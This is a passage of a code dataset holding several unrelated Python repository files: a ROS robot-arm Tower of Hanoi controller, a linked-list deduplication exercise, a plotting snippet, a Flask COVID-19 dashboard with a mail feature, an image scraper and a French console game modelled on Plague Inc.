0\n spin_count = 0\n at_goal = 0\n\n current_io_0 = io_0\n\n driver_msg = command()\n driver_msg.destination = current_position\n driver_msg.v = 1.0\n driver_msg.a = 1.0\n driver_msg.io_0 = io_0\n pub_cmd.publish(driver_msg)\n\n while(at_goal == 0):\n\n if( abs(thetas[0]-driver_msg.destination[0]) < 0.0005 and \\\n abs(thetas[1]-driver_msg.destination[1]) < 0.0005 and \\\n abs(thetas[2]-driver_msg.destination[2]) < 0.0005 and \\\n abs(thetas[3]-driver_msg.destination[3]) < 0.0005 and \\\n abs(thetas[4]-driver_msg.destination[4]) < 0.0005 and \\\n abs(thetas[5]-driver_msg.destination[5]) < 0.0005 ):\n\n at_goal = 1\n\n loop_rate.sleep()\n\n if(spin_count > SPIN_RATE*5):\n\n pub_cmd.publish(driver_msg)\n rospy.loginfo(\"Just published again driver_msg\")\n spin_count = 0\n\n spin_count = spin_count + 1\n\n return error\n\n\n\ndef Get_MS():\n\t# =================== Your code starts here ====================#\n\t# Fill in the correct values for S1~6, as well as the M matrix\n\tM = np.array([[0, -1, 0, 390], [0, 0, -1, 401], [1, 0, 0, 215.5], [0,0,0,1]])\n\n\t# rotation matrix\n\t# given in M as [[0,-1,0],[0,0,1],[1,0,0]] - end effector's x,y,z in base frame's x,y,z\n\n\n\t# q = offset\n\t# q1\n\tq1 = np.array([-150,150,0])\n\t# q2\n\tq2 = np.array([-150,0,162])\n\t# q3\n\tq3 = np.array([94,0,162])\n\t# q4\n\tq4 = np.array([307,0,162])\n\t# q5\n\tq5 = np.array([0,260,162])\n\t# q6\n\tq6 = np.array([390,0,162])\n\n\t# w - rotation axis in base frame\n\t# w1\n\tw1 = np.array([0,0,1])\n\t# w2\n\tw2 = np.array([0,1,0])\n\t# w3\n\tw3 = np.array([0,1,0])\n\t# w4\n\tw4 = np.array([0,1,0])\n\t# w5\n\tw5 = np.array([1,0,0])\n\t# w6\n\tw6 = np.array([0,1,0])\n\n\t# v = -w x q\n\t# v1\n\tv1 = np.cross(-w1, q1)\n\t# v2\n\tv2 = np.cross(-w2, q2)\n\t# v3\n\tv3 = np.cross(-w3, q3)\n\t# v4\n\tv4 = np.cross(-w4, q4)\n\t# v5\n\tv5 = np.cross(-w5, q5)\n\t# v6\n\tv6 = np.cross(-w6, q6)\n\n\t# S = (w, v), w is joint axis and v = -w x q\n\t# S1\n\tS1 = np.array([[0, -1, 0, v1[0]], [1, 0, 0, v1[1]], [0, 0, 0, v1[2]], [0,0,0,0]])\n\t# S1 = [w1, v1]\n\t# S2\n\tS2 = np.array([[0, 0, 1, v2[0]], [0, 0, 0, v2[1]], [-1, 0, 0, v2[2]], [0,0,0,0]])\n\t# S2 = [w2, v2]\n\t# S3\n\tS3 = np.array([[0, 0, 1, v3[0]], [0, 0, 0, v3[1]], [-1, 0, 0, v3[2]], [0,0,0,0]])\n\t# S3 = [w3, v3]\n\t# S4\n\tS4 = np.array([[0, 0, 1, v4[0]], [0, 0, 0, v4[1]], [-1, 0, 0, v4[2]], [0,0,0,0]])\n\t# S4 = [w4, v4]\n\t# S5\n\tS5 = np.array([[0, 0, 0, v5[0]], [0, 0, -1, v5[1]], [0, 1, 0, v5[2]], [0,0,0,0]])\n\t# S5 = [w5, v5]\n\t# S6\n\tS6 = np.array([[0, 0, 1, v6[0]], [0, 0, 0, v6[1]], [-1, 0, 0, v6[2]], [0,0,0,0]])\n\t# S6 = [w6, v6]\n\n\tS = [S1, S2, S3, S4, S5, S6]\n\n\n\t# ==============================================================#\n\treturn M, S\n\n\n\"\"\"\nFunction that calculates encoder numbers for each motor\n\"\"\"\ndef lab_fk(theta1, theta2, theta3, theta4, theta5, theta6):\n\n\t# Initialize the return_value\n\treturn_value = [None, None, None, None, None, None]\n\n\t# =========== Implement joint angle to encoder expressions here ===========\n\tprint(\"Foward kinematics calculated:\\n\")\n\n\t# =================== Your code starts here ====================#\n\n\tM, S = Get_MS()\n\tt1 = np.matmul(expm(S[0] * theta1), expm(S[1] * theta2))\n\tt2 = np.matmul(t1, expm(S[2] * theta3))\n\tt3 = np.matmul(t2, expm(S[3] * theta4))\n\tt4 = np.matmul(t3, expm(S[4] * theta5))\n\tt5 = np.matmul(t4, expm(S[5] * theta6))\n\tT = np.matmul(t5, M)\n\n\n\n\n\n\t# ==============================================================#\n\n\tprint(str(T) + \"\\n\")\n\n\treturn_value[0] = theta1 + PI\n\treturn_value[1] = theta2\n\treturn_value[2] = theta3\n\treturn_value[3] = theta4 - (0.5*PI)\n\treturn_value[4] = theta5\n\treturn_value[5] = theta6\n\n\treturn return_value\n\n\n\n\ndef move_arm(pub_cmd, loop_rate, dest, vel, accel):\n\n global thetas\n global SPIN_RATE\n\n error = 0\n spin_count = 0\n at_goal = 0\n\n driver_msg = command()\n driver_msg.destination = dest\n driver_msg.v = vel\n driver_msg.a = accel\n driver_msg.io_0 = current_io_0\n pub_cmd.publish(driver_msg)\n\n loop_rate.sleep()\n\n while(at_goal == 0):\n\n if( abs(thetas[0]-driver_msg.destination[0]) < 0.0005 and \\\n abs(thetas[1]-driver_msg.destination[1]) < 0.0005 and \\\n abs(thetas[2]-driver_msg.destination[2]) < 0.0005 and \\\n abs(thetas[3]-driver_msg.destination[3]) < 0.0005 and \\\n abs(thetas[4]-driver_msg.destination[4]) < 0.0005 and \\\n abs(thetas[5]-driver_msg.destination[5]) < 0.0005 ):\n\n at_goal = 1\n rospy.loginfo(\"Goal is reached!\")\n\n loop_rate.sleep()\n\n if(spin_count > SPIN_RATE*5):\n\n pub_cmd.publish(driver_msg)\n rospy.loginfo(\"Just published again driver_msg\")\n spin_count = 0\n\n spin_count = spin_count + 1\n\n return error\n\n\ndef move_block(pub_cmd, loop_rate, start_loc, start_height, \\\n end_loc, end_height):\n global Q\n global home\n global digital_in_0\n\n error = 0\n\n # move arm to home first\n move_arm(pub_cmd, loop_rate, home, 4.0, 4.0)\n\n # move arm to start location and turn suction on\n move_arm(pub_cmd, loop_rate, Q[start_loc][start_height], 4.0, 4.0)\n gripper(pub_cmd, loop_rate, suction_on)\n # Delay to make sure suction cup has grasped the block\n time.sleep(1.0)\n\n print(\"*****\")\n print(\"moving from\", start_loc, \"height\", start_height, \"to\", end_loc, \"height\", end_height, \"digin\", digital_in_0)\n if digital_in_0 == 0:\n # rospy.logerr(\"BLOCK NOT FOUND. System quitting...\")\n rospy.loginfo(\"BLOCK NOT FOUND. System quitting...\")\n gripper(pub_cmd, loop_rate, suction_off)\n sys.exit()\n\n # move back to home before going to end location\n move_arm(pub_cmd, loop_rate, home, 4.0, 4.0)\n\n # move arm to end location and turn suction off\n move_arm(pub_cmd, loop_rate, Q[end_loc][end_height], 4.0, 4.0)\n gripper(pub_cmd, loop_rate, suction_off)\n time.sleep(1.0)\n\n\n return error\n\n\n#### custom helper function for main\ndef solveTowerOfHanoi(start, mid, end, height, pub_command, loop_rate, disk):\n global home\n global Q\n global SPIN_RATE\n global counter\n global from_height\n global to_height\n\n if disk == 1:\n start_height = from_height[counter]\n end_height = to_height[counter]\n move_block(pub_command, loop_rate, start, start_height, end, end_height)\n counter += 1\n return\n else:\n solveTowerOfHanoi(start, end, mid, height, pub_command, loop_rate, disk-1)\n start_height = from_height[counter]\n end_height = to_height[counter]\n move_block(pub_command, loop_rate, start, start_height, end, end_height)\n counter += 1\n solveTowerOfHanoi(mid, start, end, height, pub_command, loop_rate, disk-1)\n\n\n\n#### end of custom helper function\ndef move_linear(pub_cmd, loop_rate, height, vel, accel):\n for i in range(3):\n move_arm(pub_cmd, loop_rate, Q[i][height], vel, accel)\n\n\ndef main():\n\n global home\n global Q\n global SPIN_RATE\n\n global start_idx\n global mid_idx\n global end_idx\n global counter\n\n # Initialize ROS node\n rospy.init_node('lab2node')\n\n # Initialize publisher for ur3/command with buffer size of 10\n pub_command = rospy.Publisher('ur3/command', command, queue_size=10)\n\n # Initialize subscriber to ur3/position and callback fuction\n # each time data is published\n sub_position = rospy.Subscriber('ur3/position', position, position_callback)\n\n # TODO: define a ROS subscriber for ur3/gripper_input message and corresponding callback function\n sub_gripper = rospy.Subscriber('ur3/gripper_input', gripper_input, gripper_callback)\n\n\n\n # TODO: modify the code below so that program can get user input\n\n input_done = 0\n loop_count = 0\n \n \n # get user input for number of loops\n while(not input_done):\n input_string = raw_input(\"Enter number of loops \")\n print(\"You entered \" + input_string + \"\\n\")\n\n if(int(input_string) == 1):\n input_done = 1\n loop_count = 1\n elif (int(input_string) == 2):\n input_done = 1\n loop_count = 2\n elif (int(input_string) == 3):\n input_done = 1\n loop_count = 3\n elif (int(input_string) == 0):\n print(\"Quitting... \")\n sys.exit()\n else:\n print(\"Please just enter the character 1 2 3 or 0 to quit \\n\\n\")\n\n\n\n # Check if ROS is ready for operation\n while(rospy.is_shutdown()):\n print(\"ROS is shutdown!\")\n\n rospy.loginfo(\"Sending Goalss ...\")\n\n loop_rate = rospy.Rate(SPIN_RATE)\n\n \n\n while(loop_count > 0):\n # first move arm to home location\n move_arm(pub_command, loop_rate, home, 4.0, 4.0)\n\n ### test\n # move_arm(pub_cmd, loop_rate, dest, vel, accel)\n\n move_linear(pub_command, loop_rate, 0, 4.0, 4.0)\n \n move_arm(pub_command, loop_rate, home, 4.0, 4.0)\n\n move_linear(pub_command, loop_rate, 1, 4.0, 4.0)\n\n move_arm(pub_command, loop_rate, home, 4.0, 4.0)\n\n move_linear(pub_command, loop_rate, 2, 4.0, 4.0)\n\n move_arm(pub_command, loop_rate, home, 4.0, 4.0)\n\n move_arm(pub_command, loop_rate, Q[0][0], 4.0, 4.0)\n rospy.loginfo(\"Trying Suction on ...\")\n gripper(pub_command, loop_rate, suction_on)\n rospy.loginfo(\"Suction on ...\")\n # Delay to make sure suction cup has grasped the block\n time.sleep(1.0)\n if digital_in_0 == 0:\n # rospy.logerr(\"BLOCK NOT FOUND. System quitting...\")\n rospy.loginfo(\"BLOCK NOT FOUND. System quitting...\")\n gripper(pub_command, loop_rate, suction_off)\n sys.exit()\n else:\n rospy.loginfo(\"BLOCK FOUND\")\n gripper(pub_command, loop_rate, suction_off)\n sys.exit()\n\n ### end of test\n\n\n\n loop_count = loop_count - 1\n\n\n gripper(pub_command, loop_rate, suction_off)\n\n\n\n\nif __name__ == '__main__':\n\n try:\n main()\n # When Ctrl+C is executed, it catches the exception\n except rospy.ROSInterruptException:\n pass\n","repo_name":"jaehank2/Pick_and_Place_robot","sub_path":"src/projectandDriver/projectpkg_py/scripts/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":13929,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22109565592","text":"\"\"\"\n REMOVE DUPLICATES (CCI 2.1: REMOVE DUPS\n 50CIQ 40: DEDUP LINKED LIST)\n\n Write a function that removes all nodes of a given list with duplicate values.\n\n Consider the following linked list:\n\n 0 ⟶ 0 ⟶ 0 ⟶ 1 ⟶ 2 ⟶ 0 ⟶ 1 ⟶ 4 ⟶ 5\n\n Example:\n ll = Node(0, Node(0, Node(0, Node(1, Node(2, Node(0, Node(1, Node(4, Node(5)))))))))\n Input = ll # Or, the linked list above.\n Output = None # However, ll now has the form: 0 ⟶ 1 ⟶ 2 ⟶ 4 ⟶ 5\n\"\"\"\nimport copy\n\n\n# APPROACH: Naive/Brute Force\n#\n# Iterate over the nodes comparing each node to all following nodes, removing duplicates.\n#\n# Time Complexity: O(n**2), where n is the number of nodes in the linked list.\n# Space Complexity: O(1).\ndef remove_duplicates_naive(head):\n node = head\n while node:\n runner = node\n while runner.next:\n if runner.next.value == node.value:\n runner.next = runner.next.next\n else:\n runner = runner.next\n node = node.next\n return head\n\n\n# APPROACH: Via Previous Pointer & Set\n#\n# Traverse the linked list with a set to maintain previously seen values. Each time a new value is encountered, add the\n# value to the set, update previous.next to point to the (current) node, and set previous to the (current) node. At the\n# end of each iteration, the (current) node is assigned to its next value. Finally, (when node is None), assign\n# previous.next to None and return.\n#\n# Time Complexity: O(n), where n is the number of nodes in the linked list.\n# Space Complexity: O(u), where u is the number of unique values in the linked list.\ndef remove_duplicates_via_set(head):\n if head:\n prev = head\n node = head.next\n s = {head.value}\n while node:\n if node.value not in s:\n s.add(node.value)\n prev.next = node\n prev = node\n node = node.next\n prev.next = None\n return head\n\n\n# APPROACH: Via Set\n#\n# Using a set to maintain previously seen values, traverse the linked list. While the next node has a previously seen\n# value, update the (current) nodes pointer to be next.next. When a next value has not been seen, (current) node is\n# assigned to next node, and if node is not None, the value is added to the set.\n#\n# Time Complexity: O(n), where n is the number of nodes in the linked list.\n# Space Complexity: O(u), where u is the number of unique values in the linked list.\ndef remove_duplicates(head):\n node = head\n if node:\n s = {node.value}\n while node:\n while node.next and node.next.value in s:\n node.next = node.next.next\n node = node.next\n if node:\n s.add(node.value)\n return head\n\n\nclass Node:\n def __init__(self, value, next=None):\n self.value = value\n self.next = next\n\n def __iter__(self):\n yield self.value\n if self.next:\n yield from self.next\n\n def __repr__(self):\n return ' ⟶ '.join(map(repr, self))\n\n\nlinked_lists = [Node(0, Node(0, Node(0, Node(1, Node(2, Node(0, Node(1, Node(4, Node(5))))))))),\n Node(0, Node(1, Node(2, Node(3, Node(4, Node(5)))))),\n Node(0, Node(1, Node(0, Node(1, Node(3, Node(0)))))),\n Node(0, Node(1, Node(0, Node(1, Node(0, Node(0, Node(1, Node(1, Node(2))))))))),\n Node(6, Node(6, Node(6, Node(6, Node(6, Node(6, Node(6, Node(6, Node(6))))))))),\n Node(0, Node(1, Node(2, Node(3, Node(2, Node(1, Node(0))))))),\n Node(1, Node(1)),\n Node(1, Node(2)),\n Node(0),\n None]\nfns = [remove_duplicates_naive,\n remove_duplicates_via_set,\n remove_duplicates]\n\nfor head in linked_lists:\n for fn in fns:\n print(f\"{fn.__name__}({head}): {fn(copy.deepcopy(head))}\")\n print()\n\n\n","repo_name":"mpettersson/PythonReview","sub_path":"questions/data_structure/linked_list/remove_duplicates.py","file_name":"remove_duplicates.py","file_ext":"py","file_size_in_byte":3957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7028704669","text":"import matplotlib.pyplot as plt\r\nimport scipy as np\r\n\r\nx=np.linspace(-2,2,1000)\r\ny3=np.real(np.sqrt(abs(x)*(1-abs(x))))\r\ny4=np.real(-np.sqrt(1-np.sqrt(abs(x))))\r\nplt.plot(x,y3,color=\"red\")\r\nplt.plot(x,y4,color=\"red\")\r\nplt.xlim([-2,2])\r\nplt.show()\r\n","repo_name":"biswas-neelesh96/Python-Scripts","sub_path":"Heart.py","file_name":"Heart.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"31796395305","text":"from flask import Flask, render_template, request, jsonify, send_file, redirect, url_for\nfrom flask_mail import Mail, Message\nimport pandas as pd\nimport requests\nimport json\nimport plotly\nimport plotly.graph_objs as go\n\nwith open(\"info.json\", \"r\") as c:\n parameters = json.load(c)[\"parameters\"]\n\napp = Flask(__name__)\n\napp.config.update(\n MAIL_SERVER = 'smtp.gmail.com',\n MAIL_ASCII_ATTACHMENTS = True,\n MAIL_PORT = '465',\n MAIL_USE_SSL = True,\n MAIL_USERNAME = parameters['gmail-user'],\n MAIL_PASSWORD= parameters['gmail-password']\n)\n\nmail = Mail(app)\n\ndef create_plot(x,y):\n data = [ go.Bar( x=x, y=y)]\n graphJSON = json.dumps(data, cls=plotly.utils.PlotlyJSONEncoder)\n return graphJSON\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/tabular')\ndef tabular():\n regional_data = requests.get('https://api.rootnet.in/covid19-in/contacts')\n regional_data = regional_data.json()[\"data\"][\"contacts\"][\"regional\"]\n notifications = requests.get('https://api.rootnet.in/covid19-in/notifications')\n notifications = notifications.json()[\"data\"][\"notifications\"]\n hospital_bed = requests.get('https://api.rootnet.in/covid19-in/hospitals/beds')\n hospital_bed = hospital_bed.json()[\"data\"][\"regional\"]\n medical_col_bed = requests.get('https://api.rootnet.in/covid19-in/hospitals/medical-colleges')\n medical_col_bed = medical_col_bed.json()[\"data\"][\"medicalColleges\"]\n return render_template('tabular.html', medical_col_bed = medical_col_bed, regional_data = regional_data, notifications = notifications, hospital_bed = hospital_bed)\n \n\n@app.route('/statical')\ndef statical():\n dataset = pd.read_csv('covid19india.csv')\n dataset = dataset.drop(['onsetEstimate', 'notes', 'contractedFrom' ], axis = 1)\n dataset = dataset[['patientId', 'reportedOn', 'ageEstimate','gender','state','status']] \n deceased_df = dataset.loc[dataset['status'] == 'Deceased']\n gen_df = deceased_df.pivot_table(index=['gender'], aggfunc='size')\n gen_cat = [\"female\",\"male\"]\n gen=[]\n for i in gen_df:\n gen.append(i)\n state_df = deceased_df.pivot_table(index=['state'], aggfunc='size')\n state_name = [\"Bihar\", \"Delhi\", \"Gujarat\", \"Himachal Pradesh\", \"Jammu and Kashmir\", \"Karnataka\", \"Kerala\", \"Madhya Pradesh\", \"Maharashtra\",\n \"Odisha\", \"Punjab\", \"Rajasthan\", \"Tamil Nadu\", \"Telangana\", \"Uttar Pradesh\", \"West Bengal\"]\n state_case = []\n for i in state_df:\n state_case.append(i)\n date_df = deceased_df.pivot_table(index=['reportedOn'], aggfunc='size')\n date_ddf = [\"02-04-2020\", \"03-04-2020\", \"04-04-2020\", \"05-04-2020\", \"06-04-2020\", \"07-04-2020\", \"08-04-2020\", \"09-04-2020\", \"10-04-2020\", \"11-04-2020\", \"12-04-2020\",\n \"13-04-2020\", \"14-04-2020\", \"15-04-2020\", \"16-04-2020\", \"17-04-2020\", \"18-04-2020\", \"19-04-2020\", \"20-04-2020\", \"21-04-2020\", \"22-04-2020\", \"23-04-2020\",\n \"24-04-2020\", \"25-04-2020\", \"26-04-2020\", \"27-04-2020\", \"28-04-2020\", \"29-04-2020\", \"30-04-2020\", \"31-04-2020\"]\n date_df_total = []\n for i in date_df:\n date_df_total.append(i)\n age_group = [\"1-10\",\"11-20\",\"21-30\",\"31-40\",\"41-50\",\"51-60\",\"61-70\",\"71-80\",\"81-90\"]\n age_death = [1,0,1,2,7,5,17,9,1]\n plot_state = create_plot(state_name, state_case)\n plot_gender = create_plot(gen_cat, gen)\n plot_age = create_plot(age_group, age_death)\n plot_date = create_plot(date_ddf, date_df_total)\n return render_template('graphs.html', plot_state = plot_state, plot_gender = plot_gender, plot_age = plot_age, plot_date = plot_date)\n\n\n@app.route('/api')\ndef api():\n dataset = pd.read_csv('covid19india.csv')\n dataset = dataset.drop(['onsetEstimate', 'notes', 'contractedFrom' ], axis = 1)\n dataset = dataset[['patientId', 'reportedOn', 'ageEstimate','gender','state','status']]\n dataset = dataset.to_dict()\n return jsonify(dataset)\n\n\n@app.route('/mailme', methods=['GET', 'POST'])\ndef mailme():\n if request.method == 'POST':\n email = request.form.get('email')\n msg = Message(subject = 'Covid graph', body = 'Hey! U will find attached pdf with all the relevent data!', sender = parameters['gmail-user'], recipients = [email]) \n with app.open_resource('Doc1.pdf') as fp:\n msg.attach(\"Doc1.pdf\",\"attachment/pdf\",fp.read())\n mail.send(msg)\n return redirect( url_for('statical'))\n\n\n@app.route('/download')\ndef download():\n return send_file('Doc1.pdf', attachment_filename='Doc1.pdf', as_attachment=True)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"EternityProjects-real/VIT-hack2020","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4537,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"73194083946","text":"from multiprocessing.pool import ThreadPool\nimport requests\nimport click\nimport os\nimport json\n\n\nclass Hanime:\n def __init__(self, folder='./hanime'):\n self.page = 1\n self.last_id = 0\n self.folder = folder\n if not os.path.isdir(self.folder):\n os.makedirs(self.folder)\n\n def scrape_images(self):\n if self.last_id == 0:\n link = \"https://hr.hanime.tv/api/v8/community_uploads?channel_name__in[]=media&channel_name__in[]=nsfw-general&kind=landing&loc=https://hanime.tv\"\n else:\n link = f\"https://hr.hanime.tv/api/v8/community_uploads?channel_name__in[]=media&channel_name__in[]=nsfw-general&channel_name__in[]=yuri&query_method=seek&before_id={self.last_id}&loc=https://hanime.tv\"\n r = requests.get(link).json()\n self.last_id = r['data'][-1]['id']\n return r['data']\n\n def next_page(self):\n self.page += 1\n\n def download(self, image):\n filename = \"id='{}' channel_name='{}' uploader='{}'.{}\".format(image['id'], image['channel_name'], image['username'], image['extension'])\n illegal = ['<', '>', ':', '\"', '/', '\\\\', '|', '?', '*']\n for i in illegal:\n if i in filename:\n filename = filename.replace(i, '')\n\n filepath = os.path.join(self.folder, filename)\n\n if os.path.isfile(filepath + '.temp'):\n os.remove(filepath + '.temp')\n if not os.path.isfile(filepath):\n with open(filepath + '.temp', 'wb') as f:\n print(\"Downloading: \", filename)\n f.write(requests.get(image['url']).content)\n os.replace(filepath + '.temp', filepath)\n\n\n@click.command()\n@click.option('--pages', '-p', required=False, default=0)\n@click.option('--download-dir', '-d', 'folder', required=False, default='./hanime', type=str) # noqa\ndef main(pages, folder):\n imgs = []\n scraper = Hanime(folder)\n\n if not pages:\n pages = [1]\n else:\n pages = [x for x in range(pages)]\n for i in pages:\n print('Current page: {}'.format(scraper.page))\n posters = scraper.scrape_images()\n\n results = ThreadPool(15).imap_unordered(scraper.download, posters)\n for i in results:\n pass\n scraper.next_page()\n\n print('Done!')\n\n\nmain()\n","repo_name":"ArjixWasTaken/A-collection-of-sauce-scrapers-that-I-made","sub_path":"hanime.py","file_name":"hanime.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"16589475672","text":"#! /usr/bin/env python3\n\n#___________________________________________Nongma SORGHO___________________________________________#\n#Ceci est une implémentation de ce qui pourrait être l'algorithme à la base du jeu Plague Inc.\n\n\"\"\"\nPlague Inc. est un jeu dans lequel la population mondiale évolue en fonction de certaines variables de maladie.\nJe réaliserai cette expérience pour une maladie bactérienne dont les paramètres symptomatique, de transmission et\nde létalité posséderont 3 niveaux de dangérosité.\nJe prendrai une population mondiale à 7 milliards en supposant que 20% des individus appliquent les règles élémentaires\nd'hygiène, ce qui entravera quelque peu l'évolution de la maladie si elle se trouve en des niveaux peu élevés.\nUn autre facteur empêchant, et pouvant même stopper la propagation de la maladie et qui sera pris en compte par cet\nalgorithme est la recherche qui est menée sur le plan international et qui aboutit après 5 minutes de jeu en temps réel.\nEn début de jeu, le joueur dispose d'un crédit qui lui permettra de faire les améliorations génétiques sur sa maladie.\nPar ailleurs, ce crédit augmentera de 95 unités chaque seconde. Il devra donc faire une efficiente utilisation de son\ncrédit pour atteindre la victoire ! Il existe des mots bonus rapportant une certaine quantité de crédits mais qui\nne pourront être tapés en une seconde que par les plus rapides des joueurs. Alors, seuls les plus expérimentés des joueurs\npourront espérer gagner le niveau difficile.\nPour les symptomes :\n- Niv.1 : 113803 morts/sec Prix : 1000 crédits\n- Niv.2 : 2*113803 morts/sec Prix : 2000 crédits\n- Niv.3 : 3*113803 morts/sec Prix : 3000 crédits\nPour la transmitivité : #Notez que les dégâts infligés par une transmissivité plus grande évolueront de manière exponentielle, ces valeurs sont donc données à titre indicatif\n- Niv.1 : + 20% de victimes en plus Prix : 2000 crédits\n- Niv.2 : + 40% de victimes en plus Prix : 4000 crédits\n- Niv.3 : + 60% de victimes en plus Prix : 8000 crédits\nPour la létalité :\n- Niv.1 : 250520 morts/sec Prix : 1500 crédits\n- Niv.2 : 2*250520 morts/sec Prix : 3000 crédits\n- Niv.3 : 3*250520 morts/sec Prix : 5000 crédits\n\"\"\"\n\nimport time\nimport signal\nimport os\nimport random\n\npopulation = 7000000000\nrecherche = 0\ncredit = 2500\nniveau_symptome = 0\nniveau_transmissivite = 0\nniveau_letalite = 0\nsymptome = 113803\ntransmissivite = 0.2\nletalite = 250520\ncompteur = 0\n\ndef routine_principale() :\n print(\" Bienvenue sur Plague Inc. by Gerard!\\n\")\n time.sleep(3)\n for i in range(3 , 0, -1) :\n if i == 1 :\n print(\" Une nouvelle partie débutera dans\", i, \"seconde\\n\")\n time.sleep(1)\n os.system('cls')\n else :\n print(\" Une nouvelle partie débutera dans\", i, \"secondes\\n\")\n time.sleep(1)\n os.system('cls')\n reponse = str(input(\" Bienvenue sur la version minimaliste, si on puisse se le permettre, de Plague Inc.\\n Touchez 'C' pour commencer la partie\\n\"\n \" Vous trouverez les instructions et l'aide de jeu en appuyant sur 'A'\\n Appuyez sur 'Q' pour quitter la partie\\n\"))\n if reponse == \"C\" or reponse == \"c\" :\n dif = str(input(\" Vous avez le choix entre trois (03) niveaux de difficulté : 'F' pour Facile, 'M' pour moyen et 'D' pour Difficile.\\n Veuillez choisir s'il vous plait !\\n\"))\n if dif == \"F\" or dif == \"f\" :\n return maladie(population, recherche, credit, symptome,\n niveau_symptome, transmissivite, niveau_transmissivite, letalite, niveau_letalite, compteur, 1)\n if dif == \"M\" or dif == \"m\" :\n return maladie(population, recherche, credit, symptome,\n niveau_symptome, transmissivite, niveau_transmissivite, letalite, niveau_letalite, compteur,\n 0.5)\n if dif == \"D\" or dif == \"d\" :\n return maladie(population, recherche, credit, symptome,\n niveau_symptome, transmissivite, niveau_transmissivite, letalite, niveau_letalite, compteur,\n 0.2)\n if reponse == \"A\" or reponse == \"a\" :\n print(\"Vous disposerez d'une seconde pour chaque instruction que vous taperez\\n\"\n \"Pour les symptomes : 'S'\\n\"\n \"- Niv.1 : 113803 morts/sec Prix : 1000 crédits\\n\"\n \"- Niv.2 : 2*113803 morts/sec Prix : 2000 crédits\\n\"\n \"- Niv.3 : 3*113803 morts/sec Prix : 3000 crédits\\n\"\n \"Pour la transmitivité : 'T'\\n#Notez que les dégâts infligés par une transmissivité plus grande évolueront de manière exponentielle, ces valeurs sont donc données à titre indicatif\\n\"\n \"- Niv.1 : + 20% de victimes en plus Prix : 2000 crédits\\n\"\n \"- Niv.2 : + 40% de victimes en plus Prix : 4000 crédits\\n\"\n \"- Niv.3 : + 60% de victimes en plus Prix : 8000 crédits\\n\"\n \"Pour la létalité : 'L'\\n\"\n \"- Niv.1 : 250520 morts/sec Prix : 1500 crédits\\n\"\n \"- Niv.2 : 2*250520 morts/sec Prix : 3000 crédits\\n\"\n \"- Niv.3 : 3*250520 morts/sec Prix : 5000 crédits\\n\"\n \"#Vous aurez 200 crédits en tapant 'cadeau'\\n#Vous aurez 500 crédits en tapant 'chanceux' avec une chance de 75%\\n#Vous aurez 100 crédits en tapant 'cent\\n\"\n \"Appuyez 'R' pour retourner au jeu et 'Q' pour quitter\\n\")\n a = str(input())\n if a == 'R' or a == 'r' :\n return routine_principale()\n else :\n return\n if reponse == \"Q\" :\n return\n\ntotal = 0\ndef maladie(population, recherche, credit, symptome,\n niveau_symptome, transmissivite, niveau_transmissivite, letalite, niveau_letalite, compteur, difficulte) :\n global total\n total += credit\n couleurs = ['echo \"\\033[30m Plague Inc., par Gérard!\\033[00m\"', 'echo \"\\033[31m Plague Inc., par Gérard!\\033[00m\"', 'echo \"\\033[32m Plague Inc., par Gérard!\\033[00m\"',\n 'echo \"\\033[33m Plague Inc., par Gérard!\\033[00m\"',\n 'echo \"\\033[34m Plague Inc., par Gérard!\\033[00m\"', 'echo \"\\033[35m Plague Inc., par Gérard!\\033[00m\"',\n 'echo \"\\033[36m Plague Inc., par Gérard!\\033[00m\"', 'echo \"\\033[37m Plague Inc., par Gérard!\\033[00m\"']\n os.system(couleurs[random.randint(0,7)])\n print(\"Avancée de la recherche :\", int(recherche), \"%\\n\\n\"+\" Population :\", int(population), \" Morts :\", int(7e9-population), \"\\n\\n\"+\" Crédit :\", credit, \"\\n\\n\"\n \" Niveaux :\",\n \"Gène S: Niv.\" + str(niveau_symptome)+\" | \", \"Gène T: Niv.\" + str(niveau_transmissivite)+\" | \",\n \"Gène L: Niv.\" + str(niveau_letalite)+\" \\n\")\n action = str(entree(\"#Instructions pour les passages de niveaux des paramètres de votre maladie :\\n#Vous taperez 'S' pour Symptome, 'T' pour transmissivité, \"\n \"'L' pour létalité\\n#Vous aurez 200 crédits en tapant 'cadeau'\\n#Vous aurez 500 crédits en tapant 'chanceux' avec une chance de 75%\\n#Vous aurez 100 crédits en tapant 'cent'\\n\\n\"))\n if population <= 0.0 :\n score = total + 20000/recherche\n print(\"Avancée de la recherce :\", recherche, \"%\\n\\n Population : 0\", \"\\n\\n Crédit :\", credit, \"\\n\\n\"\n \"Niveaux :\",\n \"Gène S: Niv.\"+str(niveau_symptome)+\" \", \"Gène T: Niv.\"+str(niveau_transmissivite)+\" \", \"Gène L: Niv.\"+str(niveau_letalite)+\" \\n\\n\")\n print(\"$$$$$Vous avez gagné, votre maladie a exterminé la population mondiale!$$$$$\\n\"\n \"Votre score est de\", score)\n rejouer = str(input(\"*Souhaitez-vous rejouer ? (Répondez par 'O' pour Oui et 'N' pour Non)*\\n\"))\n if rejouer == 'O' or rejouer == 'o' :\n return routine_principale()\n else :\n print(\"*A bientôt pour une nouvelle partie de Plague Inc.*\")\n return\n if recherche >= 100 :\n score = total + 20000 / recherche\n print(\" Avancée de la recherce : 100\", \"%\\n\\n Population :\", population, \"\\n\\n Crédit :\", credit, \"\\n\\n\"\n \"Niveaux :\",\n \"Gène S: Niv.\" + str(niveau_symptome) + \" \", \"Gène T: Niv.\" + str(niveau_transmissivite) + \" \",\n \"Gène L: Niv.\" + str(niveau_letalite) + \" \\n\\n\")\n print(\"____Vous avez échoué, un remède a été trouvé à votre maladie !____\\n\"\n \"Votre score est de\", score)\n rejouer = str(input(\"*Souhaitez-vous rejouer ? (Répondez par 'O' pour Oui et 